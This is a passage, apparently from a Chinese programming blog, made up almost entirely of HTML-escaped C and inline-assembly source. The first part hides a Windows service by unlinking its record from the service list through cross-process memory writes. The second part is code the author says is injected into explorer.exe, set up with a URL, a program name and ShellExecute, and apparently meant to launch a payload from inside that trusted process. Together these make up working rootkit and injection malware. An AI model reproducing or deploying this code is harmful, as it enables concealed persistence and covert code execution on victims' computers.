#000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(ReadProcessMemory(hProcess,&amp;nbsp;pSvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SvcRd,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(SvcRd),&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwRead)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ReadProcessMemory(hProcess,&amp;nbsp;SvcRd.ServiceName,&amp;nbsp;SvcName,&amp;nbsp;dwNameSize,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;dwRead))&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;匹配服务名&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_wcsicmp(SvcName,&amp;nbsp;Name)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;从链表中断开（一般来说ServiceRecord是可写的，但还是先改保护属性以防万一）&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProtectWriteDword(hProcess,&amp;nbsp;(DWORD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)SvcRd.Previous&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;(DWORD)SvcRd.Next);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ProtectWriteDword(hProcess,&amp;nbsp;(DWORD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)SvcRd.Next,&amp;nbsp;(DWORD)SvcRd.Previous);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;#ifdef&amp;nbsp;DEBUG&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;WCHAR&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tmpBuffer2[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wsprintf(&amp;nbsp;tmpBuffer2,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;The&amp;nbsp;Service&amp;nbsp;\&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;%&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;s\&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;Is&amp;nbsp;Hidden&amp;nbsp;Successfully.\n&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;Name&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LogToFile(&amp;nbsp;tmpBuffer1&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#endif&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hProcess);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;TRUE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;else&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;break&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;while&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(pSvcRd&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;SvcRd.Next);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;NULL&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;hProcess&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(hProcess);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;}&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;      这个是注入到explorer.exe进程中的代码，大部分参数是写内存写进去的，有少部分实在懒得搞了，用了一点汇编。 &lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_Arguments&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyUrl[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;512&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyProgram[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;512&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FARPROC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyLoadLibrary;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;FARPROC&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyGetAddress;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyKernelDll[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyShellDll[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyZeroMemory[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyShellExecute[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;32&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;SleepTime;&lt;br&gt;}Arguments;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*************************************************************************************************&lt;br&gt;*&amp;nbsp;WINAPI函数原形&lt;br&gt;*************************************************************************************************&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;typedef&amp;nbsp;HMODULE&amp;nbsp;(__stdcall&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;LOADLIBRARYA)(&amp;nbsp;IN&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;lpFileName&amp;nbsp;);&lt;br&gt;typedef&amp;nbsp;FARPROC&amp;nbsp;(__stdcall&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;GETPROCADDRESS)(&amp;nbsp;IN&amp;nbsp;HMODULE&amp;nbsp;hModule,&amp;nbsp;IN&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;lpProcName&amp;nbsp;);&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(__stdcall&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ZEROMEMORY)(&amp;nbsp;IN&amp;nbsp;PVOID&amp;nbsp;Destination,&amp;nbsp;IN&amp;nbsp;SIZE_T&amp;nbsp;Length&amp;nbsp;);&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;void&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;__stdcall&amp;nbsp;CustomFunction(&amp;nbsp;LPVOID&amp;nbsp;my_arguments&amp;nbsp;)&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Arguments&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;func_args&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(Arguments&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)my_arguments;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LOADLIBRARYA&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LoadLibraryA&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(LOADLIBRARYA)func_args&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;MyLoadLibrary;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GETPROCADDRESS&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetProcAddress&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(GETPROCADDRESS)func_args&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;MyGetAddress;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HMODULE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h_kernel&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;LoadLibraryA(&amp;nbsp;func_args&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;MyKernelDll&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;HMODULE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h_shell&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;LoadLibraryA(&amp;nbsp;func_args&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;MyShellDll&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZEROMEMORY&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(ZEROMEMORY)GetProcAddress(&amp;nbsp;h_kernel,&amp;nbsp;func_args&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;MyZeroMemory&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MyShellExecuteA&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;(DWORD)GetProcAddress(&amp;nbsp;h_shell,&amp;nbsp;func_args&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;MyShellExecute&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MySleep;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DWORD&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sleep_time&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;func_args&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SleepTime;&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;__asm&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;eax&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;push&amp;nbsp;esp&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sub&amp;nbsp;esp,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;S&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;1&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;l&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;2&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;e&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;3&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;e&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;4&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;p&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;'&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mov&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;byte&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ptr&amp;nbsp;[esp&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;+&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;5&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;],&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;''&lt;/span&gt;&lt;span style="COLOR: 